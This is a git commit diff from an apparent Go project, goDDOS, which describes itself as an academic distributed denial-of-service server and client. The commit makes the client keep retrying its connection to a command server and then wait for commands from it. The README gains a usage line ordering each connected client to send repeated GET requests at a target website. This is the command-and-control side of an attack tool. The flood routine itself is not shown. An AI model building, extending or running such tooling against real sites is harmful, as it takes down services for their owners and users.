client sleeps if server is not online

This commit is contained in:
arnaucode
2017-03-16 18:55:49 +01:00
parent 6cfa3f24a1
commit 650c21a882
4 changed files with 34 additions and 4 deletions

1
.gitignore vendored
View File

@@ -22,3 +22,4 @@ _testmain.go
*.exe
*.test
*.prof
*.xcf

View File

@@ -4,3 +4,10 @@ academic purpose ddos server & client written in go
https://en.wikipedia.org/wiki/Denial-of-service_attack
![Alt text](https://raw.githubusercontent.com/arnaucode/goDDOS/master/concept.png "concept")
example command line on the server:
```
ddos http://website.com 10
ddos [website] [num of gets for each client]
```

View File

@@ -15,12 +15,33 @@ const (
CONN_HOST = "localhost"
CONN_PORT = "3333"
CONN_TYPE = "tcp"
sleeptime = 3000
)
func main() {
func stablishConn() (conn net.Conn, err error) {
// connect to this socket
conn, _ := net.Dial(CONN_TYPE, CONN_HOST+":"+CONN_PORT)
conn, err = net.Dial(CONN_TYPE, CONN_HOST+":"+CONN_PORT)
return conn, err
}
func tryToConnect() (conn net.Conn, err error) {
fmt.Println("trying to connect to the server")
connected := false
conn, err = stablishConn()
for connected == false {
conn, err = stablishConn()
if err != nil {
fmt.Println(err)
fmt.Println("server not connected, sleep for " + strconv.Itoa(sleeptime) + " to try again")
time.Sleep(sleeptime * time.Millisecond)
//os.Exit(1)
} else {
connected = true
}
}
return conn, err
}
func main() {
conn, err := tryToConnect()
hostname, err := os.Hostname()
if err != nil {
fmt.Println(err)
@@ -36,7 +57,8 @@ func main() {
if err != nil {
fmt.Println(err)
fmt.Println("server disconnected")
os.Exit(1)
//os.Exit(1)
conn, err = tryToConnect()
}
fmt.Println("Command from server: " + command)
//fmt.Println(len(strings.Split(command, " ")))

Binary file not shown.

Before

Width:  |  Height:  |  Size: 521 KiB

After

Width:  |  Height:  |  Size: 595 KiB